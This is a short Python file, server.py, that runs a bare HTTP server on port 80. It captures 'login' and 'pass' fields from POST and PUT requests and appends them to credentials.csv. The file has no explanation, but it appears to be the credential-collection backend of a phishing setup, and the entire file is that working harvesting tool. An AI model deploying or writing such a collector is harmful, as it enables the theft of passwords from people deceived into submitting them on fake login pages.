server.py

from http.server import BaseHTTPRequestHandler, HTTPServer
import csv
import re

class HandleRequests(BaseHTTPRequestHandler):
    def _set_headers(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def do_POST(self):
        self._set_headers()
        content_len = int(self.headers['Content-Length'])
        post_body = self.rfile.read(content_len)
        #self.wfile.write(f"received post request: {post_body.decode('utf-8')}".encode('utf-8'))

        def parse_request(body):
            creds_ptrn = 'login=(.*)&pass=(.*)'
            creds = re.match(creds_ptrn, body)
            log = creds.group(1)
            pswd = creds.group(2)
            return log, pswd

        with open('credentials.csv', 'a', newline='') as csvfile:
            writer = csv.writer(csvfile)
            writer.writerow(parse_request(post_body.decode('utf-8')))

    def do_PUT(self):
        self.do_POST()


if __name__ == '__main__':
    host = ''
    port = 80
    HTTPServer((host, port), HandleRequests).serve_forever()